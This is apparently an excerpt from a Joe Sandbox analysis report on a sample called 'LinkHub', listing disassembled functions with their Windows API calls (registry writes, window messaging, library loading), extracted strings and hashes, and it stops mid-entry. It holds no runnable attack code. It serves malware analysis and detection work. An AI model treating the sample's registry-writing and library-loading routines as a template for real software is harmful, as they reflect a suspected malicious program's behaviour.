                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
                                                                            • String ID:
                                                                            • API String ID: 4175595110-0
                                                                            • Opcode ID: 301b1cb6f68ccaa20aa5b153cb49ba164629cf3d625edbe190cb783399421ce8
                                                                            • Instruction ID: ce59ea0e54d545d68fc1d42e7044ab56ab5bdf73c58de85816db370196913828
                                                                            • Opcode Fuzzy Hash: 301b1cb6f68ccaa20aa5b153cb49ba164629cf3d625edbe190cb783399421ce8
                                                                            • Instruction Fuzzy Hash: FD7159B2E0420AAFDF10DFA5EC48FAFBFB9AF04354F144169E915B6190D7719A09CB60
                                                                            Function 00E5CE17 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 495registryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00E5CF1D
                                                                            • RegCreateKeyExW.ADVAPI32(?,?,00000000,00E6DCD0,00000000,?,00000000,?,?), ref: 00E5CFA4
                                                                            • RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 00E5D004
                                                                            • _wcslen.LIBCMT ref: 00E5D054
                                                                            • _wcslen.LIBCMT ref: 00E5D0CF
                                                                            • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000001,?,?), ref: 00E5D112
                                                                            • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000007,?,?), ref: 00E5D221
                                                                            • RegSetValueExW.ADVAPI32(00000001,?,00000000,0000000B,?,00000008), ref: 00E5D2AD
                                                                            • RegCloseKey.ADVAPI32(?), ref: 00E5D2E1
                                                                            • RegCloseKey.ADVAPI32(00000000), ref: 00E5D2EE
                                                                            • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000003,00000000,00000000), ref: 00E5D3C0
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Value$Close$_wcslen$ConnectCreateRegistry
                                                                            • String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
                                                                            • API String ID: 9721498-966354055
                                                                            • Opcode ID: 1070eef619ad8a29439626e9b76f8f77775250bca7c87d52fe7be686bdfb398d
                                                                            • Instruction ID: 1a7c409c80d4f31da8f578bed95e377acb1bfd81d9d2902ff1a3479fc548e93b
                                                                            • Opcode Fuzzy Hash: 1070eef619ad8a29439626e9b76f8f77775250bca7c87d52fe7be686bdfb398d
                                                                            • Instruction Fuzzy Hash: B11259356042019FDB24DF14C891B2AB7E5EF88714F15889DF94AAB3A2CB31ED45CBA1
                                                                            Function 00E613BA Relevance: 30.1, APIs: 6, Strings: 11, Instructions: 372windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • CharUpperBuffW.USER32(?,?), ref: 00E61462
                                                                            • _wcslen.LIBCMT ref: 00E6149D
                                                                            • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00E614F0
                                                                            • _wcslen.LIBCMT ref: 00E61526
                                                                            • _wcslen.LIBCMT ref: 00E615A2
                                                                            • _wcslen.LIBCMT ref: 00E6161D
                                                                              • Part of subcall function 00DEFD52: _wcslen.LIBCMT ref: 00DEFD5D
                                                                              • Part of subcall function 00E33535: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00E33547
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: _wcslen$MessageSend$BuffCharUpper
                                                                            • String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
                                                                            • API String ID: 1103490817-4258414348
                                                                            • Opcode ID: 64ce8c5c377f70b7642d3b35c8520c0b646226681a61792538d88a48a8525663
                                                                            • Instruction ID: eb65b9bde783c06d79c9333e5ed5cedc030e8462ccbc1517edbe5d8485c8889b
                                                                            • Opcode Fuzzy Hash: 64ce8c5c377f70b7642d3b35c8520c0b646226681a61792538d88a48a8525663
                                                                            • Instruction Fuzzy Hash: 4BE1EF356083418FCB05EF25C45186AB7E2FF94394F18989DF896AB362DB31ED05CBA1
                                                                            Function 00E5D3F8 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 242COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: _wcslen$BuffCharUpper
                                                                            • String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
                                                                            • API String ID: 1256254125-909552448
                                                                            • Opcode ID: e47f0135c3510a507bc5699510aac4a18ee10fc34f748256a0bcb8940d41c1b2
                                                                            • Instruction ID: 13aaaeb46cd2bb7ef9ce64b8a2aebb0c6a0b656b50e4572ff57dae5ee3cc60e4
                                                                            • Opcode Fuzzy Hash: e47f0135c3510a507bc5699510aac4a18ee10fc34f748256a0bcb8940d41c1b2
                                                                            • Instruction Fuzzy Hash: 3471E53260811ACBCF309E68CD515BB33A1AB6136EB212925EC66F7294FA71DD4DC360
                                                                            Function 00E68D97 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 196windowlibraryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • _wcslen.LIBCMT ref: 00E68DB5
                                                                            • _wcslen.LIBCMT ref: 00E68DC9
                                                                            • _wcslen.LIBCMT ref: 00E68DEC
                                                                            • _wcslen.LIBCMT ref: 00E68E0F
                                                                            • LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00E68E4D
                                                                            • LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,00E66691), ref: 00E68EA9
                                                                            • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00E68EE2
                                                                            • LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00E68F25
                                                                            • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00E68F5C
                                                                            • FreeLibrary.KERNEL32(?), ref: 00E68F68
                                                                            • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00E68F78
                                                                            • DestroyIcon.USER32(?,?,?,?,?,00E66691), ref: 00E68F87
                                                                            • SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00E68FA4
                                                                            • SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00E68FB0
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Load$Image_wcslen$IconLibraryMessageSend$DestroyExtractFree
                                                                            • String ID: .dll$.exe$.icl
                                                                            • API String ID: 799131459-1154884017
                                                                            • Opcode ID: 5cf10ed2cb4eba122055fe6a590161a9ab5951b4ecb2d3c381c09fb7396e5461
                                                                            • Instruction ID: ccae1366f975669c7414df1b7c4f7b14e7a6d1170fb7a2c9ec36543965cd4b9b
                                                                            • Opcode Fuzzy Hash: 5cf10ed2cb4eba122055fe6a590161a9ab5951b4ecb2d3c381c09fb7396e5461
                                                                            • Instruction Fuzzy Hash: 3A61F171A40218BEEB14DF64ED41BBF77A8FF08B54F108206F915E61D1DBB1A940CBA0
                                                                            Function 00E448BE Relevance: 28.2, APIs: 8, Strings: 8, Instructions: 205COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • CharLowerBuffW.USER32(?,?), ref: 00E4493D
                                                                            • _wcslen.LIBCMT ref: 00E44948
                                                                            • _wcslen.LIBCMT ref: 00E4499F
                                                                            • _wcslen.LIBCMT ref: 00E449DD
                                                                            • GetDriveTypeW.KERNEL32(?), ref: 00E44A1B
                                                                            • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00E44A63
                                                                            • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00E44A9E
                                                                            • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00E44ACC
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: SendString_wcslen$BuffCharDriveLowerType
                                                                            • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                                                                            • API String ID: 1839972693-4113822522
                                                                            • Opcode ID: 7c4f3c1ee7ed72d952a5d77c621a337cfb9566ea78d36242dc32185c5cfb0484
                                                                            • Instruction ID: 8f798fa7bfbd52dd58a5a3c68373e08a09f8a7a7fb309aabe5a23bdc63f4f47b
                                                                            • Opcode Fuzzy Hash: 7c4f3c1ee7ed72d952a5d77c621a337cfb9566ea78d36242dc32185c5cfb0484
                                                                            • Instruction Fuzzy Hash: 6471E6B26083029FC710EF24D841A6BB7E4EF98758F10592EF895A7391EB31DD45CBA1
                                                                            Function 00E36382 Relevance: 27.2, APIs: 18, Instructions: 198windowtimeCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • LoadIconW.USER32(00000063), ref: 00E36395
                                                                            • SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00E363A7
                                                                            • SetWindowTextW.USER32(?,?), ref: 00E363BE
                                                                            • GetDlgItem.USER32(?,000003EA), ref: 00E363D3
                                                                            • SetWindowTextW.USER32(00000000,?), ref: 00E363D9
                                                                            • GetDlgItem.USER32(?,000003E9), ref: 00E363E9
                                                                            • SetWindowTextW.USER32(00000000,?), ref: 00E363EF
                                                                            • SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00E36410
                                                                            • SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00E3642A
                                                                            • GetWindowRect.USER32(?,?), ref: 00E36433
                                                                            • _wcslen.LIBCMT ref: 00E3649A
                                                                            • SetWindowTextW.USER32(?,?), ref: 00E364D6
                                                                            • GetDesktopWindow.USER32 ref: 00E364DC
                                                                            • GetWindowRect.USER32(00000000), ref: 00E364E3
                                                                            • MoveWindow.USER32(?,?,00000080,00000000,?,00000000), ref: 00E3653A
                                                                            • GetClientRect.USER32(?,?), ref: 00E36547
                                                                            • PostMessageW.USER32(?,00000005,00000000,?), ref: 00E3656C
                                                                            • SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00E36596
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer_wcslen
                                                                            • String ID:
                                                                            • API String ID: 895679908-0
                                                                            • Opcode ID: 1e3e9f7a9d6a68a0e3264e2e329a696ed1fde54ee2652a2d2780e9e949b2d818
                                                                            • Instruction ID: 8eeb01a3ae5ee699cc10af117e36a0cb8a62d6aac7e48673a323cb1542af7f2f
                                                                            • Opcode Fuzzy Hash: 1e3e9f7a9d6a68a0e3264e2e329a696ed1fde54ee2652a2d2780e9e949b2d818
                                                                            • Instruction Fuzzy Hash: 9171A231A00705AFDB20DFB9CD49AAEBBF5FF48704F105928E196B25A0D7B1E944CB50
                                                                            Function 00E5086B Relevance: 27.1, APIs: 18, Instructions: 128COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • LoadCursorW.USER32(00000000,00007F89), ref: 00E50884
                                                                            • LoadCursorW.USER32(00000000,00007F8A), ref: 00E5088F
                                                                            • LoadCursorW.USER32(00000000,00007F00), ref: 00E5089A
                                                                            • LoadCursorW.USER32(00000000,00007F03), ref: 00E508A5
                                                                            • LoadCursorW.USER32(00000000,00007F8B), ref: 00E508B0
                                                                            • LoadCursorW.USER32(00000000,00007F01), ref: 00E508BB
                                                                            • LoadCursorW.USER32(00000000,00007F81), ref: 00E508C6
                                                                            • LoadCursorW.USER32(00000000,00007F88), ref: 00E508D1
                                                                            • LoadCursorW.USER32(00000000,00007F80), ref: 00E508DC
                                                                            • LoadCursorW.USER32(00000000,00007F86), ref: 00E508E7
                                                                            • LoadCursorW.USER32(00000000,00007F83), ref: 00E508F2
                                                                            • LoadCursorW.USER32(00000000,00007F85), ref: 00E508FD
                                                                            • LoadCursorW.USER32(00000000,00007F82), ref: 00E50908
                                                                            • LoadCursorW.USER32(00000000,00007F84), ref: 00E50913
                                                                            • LoadCursorW.USER32(00000000,00007F04), ref: 00E5091E
                                                                            • LoadCursorW.USER32(00000000,00007F02), ref: 00E50929
                                                                            • GetCursorInfo.USER32(?), ref: 00E50939
                                                                            • GetLastError.KERNEL32 ref: 00E5097B
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Cursor$Load$ErrorInfoLast
                                                                            • String ID:
                                                                            • API String ID: 3215588206-0
                                                                            • Opcode ID: 9911080b67e7397c74cac90c4496491b36aceafa77c6770c1115e528919c98ac
                                                                            • Instruction ID: 9256d89cdcafcbb9c46102f29d7fb3754554d980d3743049bd06ddc96d80a34c
                                                                            • Opcode Fuzzy Hash: 9911080b67e7397c74cac90c4496491b36aceafa77c6770c1115e528919c98ac
                                                                            • Instruction Fuzzy Hash: 2D4154B0D083196EDB109FBA8C8585EBFE8FF44754B50452AF51CEB291DA78E805CFA1
                                                                            Function 00E33A43 Relevance: 26.6, APIs: 8, Strings: 7, Instructions: 400COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: _wcslen
                                                                            • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT$k
                                                                            • API String ID: 176396367-2171760788
                                                                            • Opcode ID: 2b5a50f3b35b165827bb49d54c91d85d6df70b17e1430dfb6f8c077b6346bd94
                                                                            • Instruction ID: 4e4844cae469c71dfc902bcdc190f4b81c4d6d680aea4e228f4f0f33d1f785e9
                                                                            • Opcode Fuzzy Hash: 2b5a50f3b35b165827bb49d54c91d85d6df70b17e1430dfb6f8c077b6346bd94
                                                                            • Instruction Fuzzy Hash: 59E1D231A006169BCB149FB5C849AEEFFB0FF44754F50A12AE456F7250EB30AE45C7A0
                                                                            Function 00E69B7A Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 181windowfileCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DD249F: GetWindowLongW.USER32(00000000,000000EB), ref: 00DD24B0
                                                                            • DragQueryPoint.SHELL32(?,?), ref: 00E69BA3
                                                                              • Part of subcall function 00E680AE: ClientToScreen.USER32(?,?), ref: 00E680D4
                                                                              • Part of subcall function 00E680AE: GetWindowRect.USER32(?,?), ref: 00E6814A
                                                                              • Part of subcall function 00E680AE: PtInRect.USER32(?,?,?), ref: 00E6815A
                                                                            • SendMessageW.USER32(?,000000B0,?,?), ref: 00E69C0C
                                                                            • DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00E69C17
                                                                            • DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00E69C3A
                                                                            • SendMessageW.USER32(?,000000C2,00000001,?), ref: 00E69C81
                                                                            • SendMessageW.USER32(?,000000B0,?,?), ref: 00E69C9A
                                                                            • SendMessageW.USER32(?,000000B1,?,?), ref: 00E69CB1
                                                                            • SendMessageW.USER32(?,000000B1,?,?), ref: 00E69CD3
                                                                            • DragFinish.SHELL32(?), ref: 00E69CDA
                                                                            • DefDlgProcW.USER32(?,00000233,?,00000000), ref: 00E69DCD
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen
                                                                            • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID$($(
                                                                            • API String ID: 221274066-1080139498
                                                                            • Opcode ID: 45f7154d3dd655b7e3b9b86392cfcfc409b0ca333512a4c41fc099bcdbb9d989
                                                                            • Instruction ID: dd3d1e782918910df800545b5084f74768681083da5a73c7563d6855ae238d77
                                                                            • Opcode Fuzzy Hash: 45f7154d3dd655b7e3b9b86392cfcfc409b0ca333512a4c41fc099bcdbb9d989
                                                                            • Instruction Fuzzy Hash: 3B619E71508300AFC701EF65DC85D9FBBE8EFC9790F40091EF591A62A1DB70AA09CB62
                                                                            Function 00DF0436 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • __scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 00DF0436
                                                                              • Part of subcall function 00DF045D: InitializeCriticalSectionAndSpinCount.KERNEL32(00EA170C,00000FA0,962D4BCC,?,?,?,?,00E12733,000000FF), ref: 00DF048C
                                                                              • Part of subcall function 00DF045D: GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,00E12733,000000FF), ref: 00DF0497
                                                                              • Part of subcall function 00DF045D: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,00E12733,000000FF), ref: 00DF04A8
                                                                              • Part of subcall function 00DF045D: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 00DF04BE
                                                                              • Part of subcall function 00DF045D: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00DF04CC
                                                                              • Part of subcall function 00DF045D: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00DF04DA
                                                                              • Part of subcall function 00DF045D: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00DF0505
                                                                              • Part of subcall function 00DF045D: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00DF0510
                                                                            • ___scrt_fastfail.LIBCMT ref: 00DF0457
                                                                              • Part of subcall function 00DF0413: __onexit.LIBCMT ref: 00DF0419
                                                                            Strings
                                                                            • kernel32.dll, xrefs: 00DF04A3
                                                                            • api-ms-win-core-synch-l1-2-0.dll, xrefs: 00DF0492
                                                                            • InitializeConditionVariable, xrefs: 00DF04B8
                                                                            • SleepConditionVariableCS, xrefs: 00DF04C4
                                                                            • WakeAllConditionVariable, xrefs: 00DF04D2
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
                                                                            • String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
                                                                            • API String ID: 66158676-1714406822
                                                                            • Opcode ID: e0c12cd3c87ad323255a6e7f54fcbc778123b85f286787ee18128ee24e70c535
                                                                            • Instruction ID: ba239f4ce9fcd4b405ff689df8b3ceae2f2087d9126c277149a630b78ed98ff1
                                                                            • Opcode Fuzzy Hash: e0c12cd3c87ad323255a6e7f54fcbc778123b85f286787ee18128ee24e70c535
                                                                            • Instruction Fuzzy Hash: 8B212C32B45319AFD7201BA5AC05B7A3B95DB06BA1F068116FB05F7381DBF098044971
                                                                            Function 00E44F05 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 309COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • CharLowerBuffW.USER32(00000000,00000000,00E6DCD0), ref: 00E44F6C
                                                                            • _wcslen.LIBCMT ref: 00E44F80
                                                                            • _wcslen.LIBCMT ref: 00E44FDE
                                                                            • _wcslen.LIBCMT ref: 00E45039
                                                                            • _wcslen.LIBCMT ref: 00E45084
                                                                            • _wcslen.LIBCMT ref: 00E450EC
                                                                              • Part of subcall function 00DEFD52: _wcslen.LIBCMT ref: 00DEFD5D
                                                                            • GetDriveTypeW.KERNEL32(?,00E97C10,00000061), ref: 00E45188
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: _wcslen$BuffCharDriveLowerType
                                                                            • String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
                                                                            • API String ID: 2055661098-1000479233
                                                                            • Opcode ID: 8e1c0b7ee28412bd8e79709298af1e3ed4dd298130eb66966c3bbda6ae433de6
